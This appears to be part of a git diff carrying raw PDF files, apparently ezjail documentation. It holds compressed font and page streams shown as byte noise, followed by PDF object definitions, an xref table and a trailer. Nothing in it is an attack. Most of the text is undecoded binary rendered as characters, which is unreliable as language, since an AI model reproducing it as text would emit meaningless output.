ZvF\U%BJg0m}f$2$ ๩T9SU u_COV0y̮; 5~y}BP"ԪbW|]P\U!k212Ժ<V u)1ˠ(Aʤ  XLyhq5 /Un{/Ek jGUـ;6Ԫnv=~jӻ/cc4|; T*+B"B&fKU@M5 \/F߉gӾg9n]BH(uH7M֞&$uwGgo&µ$&Kacqb^ٜb9A: 34k 1 8ɿVǑ ֓ cΓsm`#m <Ƚznƿ 8qHk{)zQ2ըPNcPJ�BJ#R* `oiLL,8\>l4s~}:B6xKa{Z) Tʦ5zͦ]<VLt o0JE>=dþNJlzS=KDaVϒX:~RC[0  \b%y^ bb >?P і_*g@ F)?Ng&"d ϻR~r9| 'CZ ٱ{CH2 5| =fѮ`WYҁG7i$*NCYe�%[${DFޠ$`>kHb㳛OA<]{rGm7Mˋ 37wgek;s}ײcoЯ]F1آQ²mܥ[㘰5\v{gpn�%CZĦk''tnqsM8]L5bQ5@6s:0Q'h@!̎rJj7r>o>%[:uˁϸsK O=ɯĚT1vѥ]FEQ7#aoKOM@(TAҦ k3^�WQyE^ʮt^T9U_8uUo[{X)yhcB}{fVw7&HOBL Ut9}wӦ/oܴ2V7HFLw-=@vn6NfpC:%%TKIP,Az!x-"] ooCd6+7szӺV>;߻]F`Nݭ6/ww?! }>t8 +pǣ( C U; ||t+-G +<pq^?$7mYx~40u#/Zca<"h(oo9� +�;` !]hXapbX~oLb:5Ȗl*[Ί6ޅX-0­KN|+jMH¦e28dՌ8]gs'[M{Uj]QLy<1bF7e^ +mw3{B.Hhyvdj̋m$D%$9;rAg(Vyck005t &LnYΤ^z ĖrGx?,TRKS`XT۪p/ /7JpW^a(2ClGKc0΢;b'+DvhI:f +amW:.6-`|yb4VI:7HA`kI�e/q>M!UjXR-fI!XXDGe0w>\vҹ5<&Xk2Sdȕ&9fa uSUT7P=tF}/2io޶kݺvv럭lLƟ"A  &H`| iH <(Qa Nl=*#_;s$ $6fQm4:, anfό7!;-e1_o"gtR,~LhbVNjq7l:;иgr`4SeC +NlEtkP1~6G2BJ6 KR80Sq L#Jkmp +IboqյZ$To +ggqb1DN8Ui#JN^:foVg-NC!!h.ϟN,^(Lg[BohF.JcOjG0w<z&I qRvs ql=a!#JU{-^OJ`eJ=I(Ȱ%"X$"ڛZյQ+)e:y-РoweޮMjc;s q&floNj:(^tƵXZw~כd*Uca7 $@vKM!h-H'Zx(j!:9W%0pC.̒G?f퀹tX\Snцsly̰Wm۩e08ٛ(npR~ޣВf(͂{Fg+JqdV Pv&ZjV#ꅂ1OgV́LfLcF3x+CK$E[F/j:<JnTɍtdپQwIz{҃gF۵N_^k�\Oqn9&@_fv`#p[O[sq_نl]{U-U$jj>]1(^pZ* +* +*O +m}-×FW/AKي:  J/y>m޺mdtؓ;a={z}b00J QBa vqxTg2l4|[aRr]9.X,mmWٶբG2ejM6ٲmA|opSɣÐ @;ҟ0 ;p~ > 'qoW=$68 ,!@/TuTsP5߈ru\sk<r9 +0� +endstream +endobj +38 0 obj +<< +/Type /FontDescriptor +/Ascent 750 +/CapHeight 662 +/Descent -250 +/Flags 34 +/FontBBox [-168 -218 1000 898] +/FontName /Times-Roman +/ItalicAngle 0 +/StemV 84 +/XHeight 450 +/StemH 84 +>> +endobj +39 0 obj +<< +/Type /FontDescriptor +/Ascent 753 +/CapHeight 562 +/Descent -246 +/Flags 99 +/FontBBox [-28 -250 742 805] +/FontName /Courier-Oblique +/ItalicAngle -15 +/StemV 51 +/XHeight 426 +/StemH 51 +>> +endobj +40 0 obj +<< +/Type /FontDescriptor +/Ascent 753 +/CapHeight 562 +/Descent -246 +/Flags 35 +/FontBBox [-28 -250 628 805] +/FontName /Courier +/ItalicAngle 0 +/StemV 51 +/XHeight 426 +/StemH 51 +>> +endobj +41 0 obj +<< +/Type /FontDescriptor +/Ascent 750 +/CapHeight 662 +/Descent -250 +/Flags 34 +/FontBBox [-168 -218 1000 898] +/FontName /Times-Roman +/ItalicAngle 0 +/StemV 84 +/XHeight 450 +/StemH 84 +>> +endobj +42 0 obj +<< +/Type /FontDescriptor +/Ascent 750 +/CapHeight 653 +/Descent -250 +/Flags 98 +/FontBBox [-169 -217 1010 883] +/FontName /Times-Italic +/ItalicAngle -15 +/StemV 76 +/XHeight 441 +/StemH 76 +>> +endobj +43 0 obj +<< +/Type /FontDescriptor +/Ascent 701 +/CapHeight 0 +/Descent -298 +/Flags 4 +/FontBBox [-167 -299 1094 827] +/FontName /JFEBMA+Symbol +/ItalicAngle 0 +/StemV 0 +/FontFile2 44 0 R +>> +endobj +44 0 obj +<< +/Filter /FlateDecode +/Length 18148 +/Length1 37096 +>> +stream +HW}tovgvfw6r8CRP0Bhrx89͎.DWQR҈h֏bJiB!֨` %i wfg7 xj{ͽw{�ly?h!jz-%Uv�2-@% {xa_si J@<o�X"=+Oνr1H%5;/nヨۙ �KFCz|ݳo1w<Q0د(aXڐqZS<bc�몱h䶗'vf�‘Q�۰nH-`gv1q$p?@F>. .LH؆ �&Əj1$E8 ` +9 +e4U; B6F<[mz `,3q&U0 d2Ỹ61 d)l!~Z^l!KPfY�2/Bx +eTf@L`\ a 1gePDq .L�/enAvSG^K(Ev0gÃ6?y.܃-@ֳ&FFxnhz=zU(uPvbv&ȷճUnG0hŕ +8nc`"bv]$0x9l a`pĹDr٫PBv2cKWRa`0"7 rtsq$Ml7.*ʍH/Ovs,QyK`7gfq3}u^uъ7@�-�H90 cCzNfJq3zNJ:'N' +>';9<rA.5q9IYo=}]#>cwyR9jR^3-!=xJe xn0< gO\|{_8q?o>�zq- Ƹ'4XaSúpU>mr b + WZµXZ Y [XgO-`,n6X,|bZ~v$*+au\HVc:h.I>I>]e5 ^JX_}J/K!CzMF$?}U4-փIQ7SE:MA˃o"u %56qQ'bSk;)Q*~/;aQRv",)~9) +՛9PyӅ /]R爛=x(2&$'B4[4I^L{|HecL`+0fk>j̗X^"*S-kR4/'k>|3ɍ`4+T? *Ɖa11,#Lƌ ۳4Ph< +[4E25a1eh7oOUER++ +_I~o5Z.GM'49БJY,OC68OaLXIzS {)YR,9#ZW143 g"SiCct:b.|RLG!S ~GB4B1ӧ%DUc=r~Ϲf̧z|&3W2(MSL0 _bqM*eX+ΔGe4-{k9R|h;ygYZ=7p{[ "ӫ9M~iR_pacf[rƞkrRW]*j-eK f7]CjPfT6WU# BUÖ:sPד]WF,vO qabg,gKoJșcts:! C#s̻UH88t8>vֱViKu.خmL*v!a4.qu wn2nBΕQ9],ݣ+Y .nd}=Ȩ+($pdz~Y\AnD{Uٽڟ|! qO;PW_ve-/2/1 t*lڵW˾٩fUaCfVӆt9hiq|�k 'S^],y'dO\z$3<B'> @nwo~3_9g'-b{G V`9sK9}[N8e$a<ijwJ\S +-\dֈ}^q~w41l^nw:u<l8N|xऌ\;w`E!J _'8JN$um3 H٤ѵJ'Q hK+D4JU4P&M$$st_;~bgs .w ^?N:f8g:YQB_-~ݽkd Sz*�|g!Ցv#Xp#B^$%d2b`#Okd(w2#KcA?,I~,/79tF*\sح.Vcb6[nOARŎ4#Tl{beEs{y!dO+v+:iX]xpܖM?>pa/:C=Il+?{ Ał R�x֤1+vO)t(k]*VGPI 6yҡ3v%fc#d,줍G7CTN7)#>19xY6BEM6\'Pl}kWDϑV @V{ĜXDcdۭH$"#*SFlǗ-Rndt:52K^i`v!p*WwJu A%%>mbKxMpV8Cw/P,`?o"@ў�%4\CI Iml._;'<w^jq!d58B<ty O]ĩj( =_PkseaC@F_+k官hbwm zP"a/Dq/ nX} )5؎oR贘"hk(YC!lG,Fƅ8g6fmΈ8'8f3xӌoR7* >͵t;xĸ ])mG`3IyȨmz;n\ s*OleQ񢶹dzB CMp)qgKҭ;=beKtkǎ[ƒuڜ]xԦ1t@(=wrj۱Y?,gxD 0x|Y[{@K2ǂW cWkL8}DiGzw<9ulw)ýFP]%.eߥյD<a $ q +u]SϘ~hO@"hh!kʥh =5=\K5Z/Ij' B)Cс�򦷝8IMj#h.Q=ndtu9e ctԢ1]g$#baS{4u�HaD#yr1mذLF@N1uiR@FbTNU.mݝа.#,QCUwv'l0xLI0F>/~gc0}*X u2`4C {pE81;y)%d.Y@j3d5QIBZ:K"_H79J>"H9O$(&jG]t }>DZN)ZEރ]E_utmv{&}vӏi9'4,}=$6MdSY -cϳ5ZY;{ vEv r-|w |2)?_|#̷|/N8}<y_h0dav)Kppf DH952h1=g@0S#4C?2Rw菚fY?͊&Z,53"ehX^dNYfDo&f߉G.T d1d#B=Mi2f5d+13 *hmg:a*nA-Z%tTaB2X3 FFݦ ] rt 4oó˖ޣU$#.=xrQ + +}O +{5D-x~3kNcHB-XjI ni/E- FK�LEHoNw$":ii1+-T԰vN=@Jn2%e9YwZ:pR=Hl%[{}I-a`'S ˾Ui5G{݀Xk-GH􇭽 'փU977j4S{w+?ZhMX!M8, +1VOGWFP]lW�{ξdYe*uP_4 X+H0I2Z (LN!9k ڮ ؐ9vLhAl*ZmEjVZjnwg;0 ȱ}AB;`�6gM peN}XCؿݱp"ju/"h1b-G?e2ܶ|lH E&?4c- U9aQmZeӝey:Uۅܜ1<7*68m碅%-/ +@M=a[i)7ݶtR Qa+6Wt]Zb`ɧ7.,Z.]w*`CCW"E ->q  QQW}3z΂%muaQCф7x2e~3jNE2<?'| +8Fl cZ+\YiŬlѣxw + +m$nMKZLK{]M1ju97W_춁^C|#ZUrJ`=!򪲴ѓ6B/Zbuht׎xgMM =C-T\0xs^c qi,oWx.ΡM"MaqY +]Z.UlݦF8ZJeyJ-KeuZv@uň%<R]bZJWVO[[9;sbxdx2 ^F(sW6sH0asr:2(iY|/\i) Qғ =77l0e8ʐd ^RJNnI ET/[KKLK(2/ɾ ͓֘pəG&~ =A\NbD vAÊE Y�'kSseyL kkұR+`P1LtM(m4O24cZ:/)"YbZM.:qӠ-8Nn׀H#ԈHIpZcQPY/vjOF%*)<LEQøtj׹#H6)cn0k&)=_΋󦥏Zz~k֗A٭4'a>b vӽ1s^ yz+Db?pb9V#Ee MFkB//53z0/U4s^Vט/-^e9Ei m보JK0B{^ֲ$[OfIiPMyDNCoGr99! r2fd^n>g)MR>2xB./G=ی ِ3Ɛ1M F3^ZӜ\e@9{rv%.:U+B2Ԃ)ķ{itZ+Cl#BDZi|Yck.۞/ou٨ԟ_g+s4'G6{DSTD!WhE,i+{}Gh}("v4H)c,hL!Z+͜+jq|sбiJu㊾@> #f뺍ѬPfA{XevC4py4/+' nC< ΦߥnJY"ƾ=1ˢmI +o';P_y09K/s^-˲kyڴދaa{ &$w^ kYIڲǺ(ML2`>+ol4-¢cMH˽/ueAФ^"+G9UZ;߰fAimcRtk,yݔZz?HDabΰj^g+wZt-<{ϵ +{ZI,EK,ʻD;TjNqXÁ.o?F �|v9t<F73m{i~³pËp~30 -xZ=jP-G_B_EO>47h +DUtlx5^e a(:x <_/Wq*KD &Z mI $ȫw$E o_;=eX*f i`<„f3旌μμd12X-e%&v+ngw`ìϱ?e_`OeShئ3sϽ>v|a|8BCHdu4vLj2RmUyh8 vB@<V=@B)ژDlX e*D<s,&z~?cu@T=ST/5hi.-MK׼OM&ky4T iQ^�/+%Po0 J5 Vb#28A +6IU +"*U6lÉ -$s IB T28jÜ$1ǎ~DStdvh;ǚIJ( +piU+F>DoQCHM.C%\"?(+-\"(w"o8 +MI$Kb<DEHQ0 + +(hxvL>n +Ib[J6f^9_dێ|zh[sqM$)~t$n/}uk=kV=]ߖT OI~sӖ錭]F +,gw ]5F+ToQoAr*xOf^+/6{q$wP mB~O":+g'n~X7F$Q& Imeo6[m_:-e7˖_袣1^ xIoyn,E%`fWoV_ջuDBn"q pNgorD*uR^kA$-T'FiCyH*yAD2D˹Mtc;#[uH_ѐlv{5l)󶲎LsmR끎  EL_\Mκ<.^4J2a?qUku7W"I?v {˦Ӈ:՞U¶3l}\WD Yv욦]̭lϭe_u.?<0PgN3o0ŬO_ZpOjnKҙ +|lkUt7./,H[_;Yq]_)5cxhEt񲇋щʶW5FWUΘK$-\N˜yZњ\[eaKWHeSY "&ɪ3(VY,ڳ/@$^Wh}zI4ziW&^IOڥ1O&ڼ:wY'k$(YF\"YZɗ#3g6rDnߔ&vwv V*fSYq0lF?*k+%bb2]\T4Y:.N]TGe G"I#G 'Oرѹ{Q[?yIQ WhW~Vp(>sMѩCP٩ؒ3M;|yòӣS*`]~hDZ~1ctS_ @kB1"'$ؖ;c@4 &E>5eC&,a8_[TcyK;-=yIC!p ߝV?hho[|cv;z�H $8#ƽ/W4hOy>@D#HׁdH@L@N5 r�! +BnU/<OৰKx!o:Xq{=dXK)|_5ECƓȵ +H7y2ԐW"YA[ td'yCCr&"&W +1)PFm@\ԍK3D:i͡մ. +Ht @;mGv!z, +E~+~ %O)ܬYR,D~VĔYZW~S iAdjC% +r5` ٙX +Kgc]$ay,�+f3Pfr?PM)=X'X=!Ť*x! +{=gG;T\ n#!G=.`nB-Fz>F*m\b#`SmPs#GD6 *)f+3�mt$˂;gBE>HR5(OUo +2Yjӊa!Ue)4\M@^e^Uy퉍Pg-7d%*+\h)[IgGN mˍfȆ~{oih,JE/ug6Ay=r\O _/2~r/,k_7 ` l2EP!r6_44 +v.4zzueIYHmՊLhqVsY$^6ҎJG[ Ď`ݢpgv'~}5/ RSEu{o{5 A6p"]Jl+ 2I,h-:A/ 5"D%h�Galg^aLF\X N/o{w%ةU;nwo~o.N%bGuGICE-kSn65lrIE q[?(q`GO<jtJ 3ԞZ`SsXA}w<qÑ{*:JdoƯgeov^ӝjCw~|ov K^*yЊlTSϯAu;W+ȖO* +6m}js/>=:J*P;?}6dLVz:zR6 xx_Ko)i*rO=yCh�@\`a4_i`Np_/g]2tfvn]n^*fhΛ}&{ymUU'跺K`k?yAˁ8K??nV\l5fCs"-1Q7iVgcv^}#_<+/=r8Q}u>{.n2 Vy 5/8;v;)(*%yE-{ +\pThR4{2KXd.Z&}5*<!fJij Ңj97} +I_{¯]U/ڌ:~S85h}rxZ=g}P<%y@-U0nB55JQO Up7̃~a ,c6O`a/Cp^FMuUT CCd &*"7Nn'd6"Fu|X~ d-@I'Pa=Mv.<9B~ +w(~89A@D&=rQ(5A4^@ z 5,ZAZ~.KCt]Kh mO_zCO?ҷiYE5PmMeQmɪX Ͼ؃dPs=ֲff?EW*Neϱ.va֗J*u|*%EP=5=JQRwc$FU6+g٦6QǸWmpuP$*7w<{UB/x|^Kϯ6ˆep)`Tn` nTHIQL{hWTuGy$7\ b1IPi2wM<HbDI=QKMݻC ƻM_CW &WƇYZPv/ʰ, IU}_*s؆a b `!i Ylk ٝGTIMKE;oy%o0g}�LcA=KAB!-jAiF66|*/і" 3ud^qv%/$.i,; YT̯9kmd8ѣ|_ $;tŸ@,D)Q#~/Ï t!ށCxUhNC#Xļk4Iʙos<t]N~ɔ`hxVXⱐ%dќb3dej㗗(3h50q[eV/Sa[~u$s:$۠Їud}(</m%4>- ,hʣ(`%˲*, > ͨ> Ba1H >eZxe"Aђ3n6/i fqYYĞR*[FUV9g =pQ"4 ɋpǚv\FLtZP'dM=ŰȦZ!jgl6Dh l4p˗`mv܈9~pfkEP*bRJXX*cT"( XiMYJ_ni0bSKNn `.$:0Wؖ,e q$} u +F A dfǟ(;UG,8έ}.GȢ1CSr\8[ Z|,toQ[#CTXD!XSXD!qEH`kEu彑>7z4yOM.;}.k?f" cAr?9y6:1E)-*j Mt\Kꃠ]./FA!$ 0psExfNbї, Iz dO ڑĿȯ82�lwڷ3& Q"#mbTNCy@(H]'Qj.}Ȟ.Fr /^k%7m,*Z7|;N&nwv7 0AG/Uҕ_mۧ?$jguv+ǫL:|?7iʩYY늲! |y*WYY<۝,pY6o_p-:y.%:T*XGeegӇ"+W:tS7G ~.F1 ZT,&N.Y̍UEY<0¾e4s)Z6O%ހ]]Aޖp=螇[87}XL\3<l5<=H'PGhmeMƔ\էdN9iE۳2(bZM� 0DD nFb)"%e؃mx2`=p5ed>GYxb,I[[8s3^vU W2`HJHI,Wm0qHl@)OY=Bօ%,DYh1㺠Ǣguc +Mhg]L vlǢ eA[h ?b6EkEx8 'MxօRJ)$Oa3"pfu#Y+X_%գݙ-N-pu8Xt<ْ!Z8# ;W[VQ.AHcW# J*3eODǂγ}lXY-HX܀׭/9T+eSY2*{/B{LzG5 WYHbZ/Iֱ`3b |ZQIE37~@`$lHoh]6>T<X=랉cg@@YhQ6Ve`fmd,>.5Cf/h]PQ/)[ECVV";.~-0<XdzĮ9,p`ϣx!3>GYc5Um8Zd7 veQ"=qgƫ5ċG!~eэDw^ǜuQ-]<zZxῲœSa@ h$vnz'.E2,SYj f ]Y03,k1+.ڹuFF;UNJ_>#GGydUaFd N7`>-au +~΋p$R[zH]^*wpި *5mOhA&6Eex"KGU@1vO-~-8d=gr˚2q&a|S_O@T_ }֚j7󗮎V`u Q}ч,&Ǣ[_,q-YN,lpт7.(1~Y:Rǯ]Ru'˳5b .%\;ޛZnn'jV-48fCnr‚|Tey2f-1�Zݩ;֋nԺ/R{, tQSDugM+ ]nݹeJUآ,dSY\~( к\ iB}T +2 +v̧$-Jd[ylukչrb̚\$TW&L]0Z*kWn EUGAe-m3ُH +Fj͢ѡ.Sb("  +k S뛀OђS"65G^sHr`G~I|ŌMzX;,YFںF,ص+/s' -`&mS Sn>B̛B"KuCs:W 4wmуcaYZ )-ƿɬ-.,\r" Ao|FCHXDw;ДM'oMP( SN߀ٹw&>eu^r`뱸& 79:Bd+Ns]Ӣ7~G@Yз7J8ow4< X>?‹G3m O>CG9G~O<yL^%=rK3AmXvX-4^_h^^֪5]mU4E^'z^/ګ( q (!w5KИmYp1FWk b]8NJ|-PX6*;`L7kVc1*j՘Ϥq8V4eQT{}?{mf6 ;Ϯv߃<?0>O/WfQ~ůRS$4L-H +i(N,}(Id.$9]Ζ$%yH^!o[= y”(c%OT(Lk*#ʧKECeU[ /ER3,uRrۯ˂CV%& Lbh +D!^TQv +BH &bD(T h=MbtAذw 1XgH:V81 bpB3p@ TF ͢u#!?*A^CpGt͋I#70b#6u Eד!R$g>$#+k1?L"a +p0⪅)a}>;]' oع7p!_|K 19OP/m'7鶦lџߗ,8遮OwYQ:irh*^YY?=eϴi츱Cv+ߞ y/Ru=/KѹvZ80䜿g Ǵ҂t!kgߠ ˲æ:O,+.k>xe7.7`|8Ŵ�OW +7KsN'WH֜ cϥ{,[Ǽ*W@zk7k6Ji.,xYUO9Fҷ:q|Tut[fs9˳"){q*9q{3&@]mi=z(tDws65s=o>;b}p!uU˲Ry eyoO> TiO~J ~Md[t;gߑ_uF]lm K/b9߲!49.2oU*_Mvdi(KlnYb鈄#_ +>myvDRRi9caф,76]ٻYݶ5k.j|_<~|nZ]k=kղqIlcX7*3;_jj%ܗS CKt$\1Nv5̿SyΜ r0uZE3+fMO$^MnR.è,̴xwYtƹrcԹ~돦޲##uʇN7E|B<$``ŧa!Sȁ�3 <Ks,*}5&4sa8i8_p BiD,MH"TA$8Hy%RL2RN^!3Iy[5YHjɒAoJD֐u n$~Dv 9N>#^$WuNJxER3aBhB15i1B=΢0K2ȍOt;݅az~LO/z^봝ޤ4ceH4Y x,,Y?29B>TFE)$$)Ch1*1&,NaYGU=xU@C<bw, +aHQT<T_`R +\tȺ7򲮚=;QX>s_}U*q)dsd+PI(!RW +,qq�4Z<~XmIukjFEYAKnϬ[y&6Du`sKhªh�(w Y`u�m Tnզi~R0R-X iÑjx+ɭ4_ǧ צN+:J}'q\Ӱ,tYvwj=qz܈PB(;EFj~{~ohN#vc;3iq9G#SbD5u,~8B�lf `#2knx˛d$Klk3#5u41v˭LG|?鵛xⅶ73Ũ%Bx E]P=u�j!j&j( kQ+pp+[P(r}͎dWxMtM]hϗW  +eh;=sw/a/(2?=ﻛd]Brel.MCM CehZ*h@#(i-Z+TNKHk +jX*kBdPeNܳ<9{/|QYE#FOX*?D9(>#N镻ygT'$j$F!)s`<vKbT_2*@I<Y҂ibӂvlmbb0�RM}NBЛ!HӪCǞb_ {v9RoH?ʽHr ҇=m=h_؈ +1btO3Gܸ!;e�n˳M<JoEmXHKpGЖ.B-xO=~q!S1'mpN59^eě[)mrcoNkqΒ +-Id{܍ql9"j7ԥDzQ92!Z٤^ТH19AcE /<:9J<G|<K!NJ}+Wp_8MZ^g49BD#)woߐϓڞYq _/q O?'ȣlɟȧ'ɟO?&qYv CX<&$1ICs�^l&FxТeDGvM1'qv/ue {pDdBfBLM ?w3]X惸k.?@)X|&[-M _'3X&Ѳ*K_!aw3.d׃Iw_~i6wHa5틴|䮝MxhZ1Ҧ?LyBLc b6 s'l&Ff76A3"bv96L!YZOgOM}#\쉇X՜5Y-ݜ՜l[7^^Eus6c 81&#Jr!r9 :ח1tAד ';8SKEBr9l2;z6fldo_K"kuȭ^K֐dMMk +rYN^-`RDQ߄BBH%Dt<ϥ%z6_4=d9eF']сol%tn\y&HwwW*-)d2#D2Jto%,a݈lxEw'N5/m91jΛw$2=A>YbId 3΋5 1agKv=WrQN䡜p>R R`ߔBK�;ʇeL`;Y؊.'|)Q"k|8 i'ߙ?o}7?'Vp[tNl;\DDzbp>9\9CP-c=:k6oszJ{dHw R3룙)JVhbR}K$=7=*ʜݜ"Iu P]{ÑS#`X +Q*UF0#{ +򋊧gĵhY*UŵZ㊊g(#hMQ\Cuk^8kZZʋ glE+,k_7="ƅ *ZUc7p*urMhz3*j#%%}PydEbߢÅՉJ0^Qӂy 7NֶؖhgV+<i#A3##@]DU6w]wѰ_WʲZnYj6eD,MT#jWDr.R4{nP^TwL|j\~S\-b'’3%[8\| fW@okۼ]oy뀴b1W( 8Vהp%Z øhu^g4`"޿$w!_9uO`h̚=>ps?G}][�9D +endstream +endobj +4 0 obj +<< +/Type /Font +/Subtype /TrueType +/FirstChar 32 +/LastChar 90 +/Widths [250 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 722 667 722 722 667 611 0 778 389 0 0 667 944 722 778 +611 0 722 556 667 722 0 0 0 722 667 ] +/Encoding /WinAnsiEncoding +/BaseFont /Times-Bold +/FontDescriptor 35 0 R +>> +endobj +5 0 obj +<< +/Type /Font +/Subtype /Type0 +/BaseFont /JFEBGA+Courier-Bold +/Encoding /Identity-H +/DescendantFonts [ 45 0 R ] +/ToUnicode 46 0 R +>> +endobj +45 0 obj +<< +/Type /Font +/Subtype /CIDFontType2 +/BaseFont /JFEBGA+Courier-Bold +/FontDescriptor 33 0 R +/CIDSystemInfo<< +/Registry (Adobe) +/Ordering (Identity) +/Supplement 0 +>> +/DW 1000 +/W [ +233 [600] +] +>> +endobj +6 0 obj +<< +/Type /Font +/Subtype /TrueType +/FirstChar 32 +/LastChar 122 +/Widths [600 0 0 0 0 0 0 0 0 0 0 0 600 600 600 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 600 0 600 0 0 0 0 0 0 0 600 600 600 600 600 +600 0 0 600 600 600 0 0 0 0 0 0 0 0 0 0 +0 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 +600 0 600 600 600 600 600 600 600 600 600 ] +/Encoding /WinAnsiEncoding +/BaseFont /JFEBGM+Courier-Bold +/FontDescriptor 36 0 R +>> +endobj +7 0 obj +<< +/Type /Font +/Subtype /TrueType +/FirstChar 32 +/LastChar 151 +/Widths [250 0 408 0 0 0 0 0 333 333 0 0 250 333 250 278 +500 500 500 500 500 500 500 500 500 500 278 278 0 0 0 0 +921 722 667 667 722 611 556 722 0 333 389 722 611 889 722 722 +556 0 667 556 611 722 722 944 0 722 611 333 0 333 0 0 +0 444 500 444 500 444 333 500 500 278 278 500 278 778 500 500 +500 500 333 389 278 500 500 722 500 500 444 0 200 0 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 333 333 444 444 0 0 1000 ] +/Encoding /WinAnsiEncoding +/BaseFont /Times-Roman +/FontDescriptor 38 0 R +>> +endobj +8 0 obj +<< +/Type /Font +/Subtype /TrueType +/FirstChar 32 +/LastChar 122 +/Widths [600 0 0 0 0 0 0 0 0 0 0 0 600 0 600 0 +0 0 600 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 +600 0 600 600 600 600 600 600 0 600 600 ] +/Encoding /WinAnsiEncoding +/BaseFont /Courier-Oblique +/FontDescriptor 39 0 R +>> +endobj +9 0 obj +<< +/Type /Font +/Subtype /TrueType +/FirstChar 32 +/LastChar 122 +/Widths [600 0 0 0 600 0 0 0 600 0 0 0 0 600 600 600 +0 600 0 0 0 0 0 0 0 0 600 0 0 600 0 0 +0 600 600 0 600 600 600 0 0 600 600 0 600 600 600 0 +600 0 600 600 0 600 0 0 600 600 600 0 0 0 0 600 +0 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 +600 0 600 600 600 600 600 0 600 0 600 ] +/Encoding /WinAnsiEncoding +/BaseFont /Courier +/FontDescriptor 40 0 R +>> +endobj +10 0 obj +<< +/Type /Font +/Subtype /TrueType +/FirstChar 222 +/LastChar 223 +/Widths [556 556 ] +/Encoding /MacRomanEncoding +/BaseFont /Times-Roman +/FontDescriptor 41 0 R +>> +endobj +11 0 obj +<< +/Type /Font +/Subtype /TrueType +/FirstChar 32 +/LastChar 116 +/Widths [250 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 611 0 722 0 611 0 722 0 0 0 0 0 0 0 +611 0 0 500 0 722 0 0 0 0 0 0 0 0 0 0 +0 500 500 0 500 444 0 500 0 278 0 444 0 0 500 500 +500 0 389 389 278 ] +/Encoding /WinAnsiEncoding +/BaseFont /Times-Italic +/FontDescriptor 42 0 R +>> +endobj +29 0 obj +<< +/Type /Font +/Subtype /Type0 +/BaseFont /JFEBMA+Symbol +/Encoding /Identity-H +/DescendantFonts [ 47 0 R ] +/ToUnicode 48 0 R +>> +endobj +47 0 obj +<< +/Type /Font +/Subtype /CIDFontType2 +/BaseFont /JFEBMA+Symbol +/FontDescriptor 43 0 R +/CIDSystemInfo<< +/Registry (Adobe) +/Ordering (Identity) +/Supplement 0 +>> +/DW 1000 +/W [ +155 [500 329 ] +157 [329] +] +>> +endobj +46 0 obj +<< +/Filter /FlateDecode +/Length 216 +>> +stream +HTPN0 A i Rnp=%u"7$Q{ly12.~ep +3qJ6 ߖsG# < S-)!/+!H*h[8 +yp3,?p*}k{KYӄTGA6oVVH;y2'b$[pZ+�!k +endstream +endobj +48 0 obj +<< +/Filter /FlateDecode +/Length 235 +>> +stream +HT?o w>ō:`HU$ )J"o_n~x~ i 3FpJS<hn9X~b#@+<myz, Y7D$>,pD�)`EW5"GFRn@| :;nߊm!'I':FfdI=ӏ!B)ux|J`�q[ +endstream +endobj +1 0 obj +<< +/Type /Page +/Parent 13 0 R +/Resources 3 0 R +/Contents 2 0 R +>> +endobj +14 0 obj +<< +/Type /Page +/Parent 13 0 R +/Resources 16 0 R +/Contents 15 0 R +>> +endobj +17 0 obj +<< +/Type /Page +/Parent 13 0 R +/Resources 19 0 R +/Contents 18 0 R +>> +endobj +20 0 obj +<< +/Type /Page +/Parent 13 0 R +/Resources 22 0 R +/Contents 21 0 R +>> +endobj +23 0 obj +<< +/Type /Page +/Parent 13 0 R +/Resources 25 0 R +/Contents 24 0 R +>> +endobj +26 0 obj +<< +/Type /Page +/Parent 13 0 R +/Resources 28 0 R +/Contents 27 0 R +>> +endobj +30 0 obj +<< +/Type /Page +/Parent 13 0 R +/Resources 32 0 R +/Contents 31 0 R +>> +endobj +49 0 obj +<< +/S /D +>> +endobj +50 0 obj +<< +/Nums [0 49 0 R ] +>> +endobj +13 0 obj +<< +/Type /Pages +/Kids [1 0 R 14 0 R 17 0 R 20 0 R 23 0 R 26 0 R 30 0 R] +/Count 7 +/MediaBox [0 0 612 792] +>> +endobj +51 0 obj +<< +/CreationDate (D:20130420011601+02'00') +/ModDate (D:20130420011601+02'00') +/Producer (Apple pstopdf) +>> +endobj +52 0 obj +<< +/Type /Catalog +/Pages 13 0 R +/PageLabels 50 0 R +>> +endobj +xref +0 53 +0000000000 65535 f +0000129296 00000 n +0000000016 00000 n +0000010592 00000 n +0000125233 00000 n +0000125556 00000 n +0000125914 00000 n +0000126353 00000 n +0000126921 00000 n +0000127332 00000 n +0000127779 00000 n +0000127954 00000 n +0000049959 00000 n +0000129949 00000 n +0000129377 00000 n +0000010770 00000 n +0000018083 00000 n +0000129461 00000 n +0000018238 00000 n +0000027281 00000 n +0000129545 00000 n +0000027436 00000 n +0000033915 00000 n +0000129629 00000 n +0000034081 00000 n +0000041097 00000 n +0000129713 00000 n +0000041252 00000 n +0000048687 00000 n +0000128337 00000 n +0000129797 00000 n +0000048866 00000 n +0000049838 00000 n +0000050100 00000 n +0000050327 00000 n +0000074472 00000 n +0000074674 00000 n +0000074901 00000 n +0000105819 00000 n +0000106016 00000 n +0000106217 00000 n +0000106408 00000 n +0000106605 00000 n +0000106805 00000 n +0000106995 00000 n +0000125704 00000 n +0000128699 00000 n +0000128480 00000 n +0000128988 00000 n +0000129881 00000 n +0000129909 00000 n +0000130073 00000 n +0000130196 00000 n +trailer +<< +/Size 53 +/Root 52 0 R +/Info 51 0 R +/ID [<edac7404cc05f97fccbf2b06bfdc8133><edac7404cc05f97fccbf2b06bfdc8133>] +>> +startxref +130266 +%%EOF diff --git a/files/arts/software/ezjail/ezjail.7.pdf b/files/arts/software/ezjail/ezjail.7.pdf new file mode 100644 index 0000000..7132957 --- /dev/null +++ b/files/arts/software/ezjail/ezjail.7.pdf @@ -0,0 +1,4038 @@ +%PDF-1.3 +% 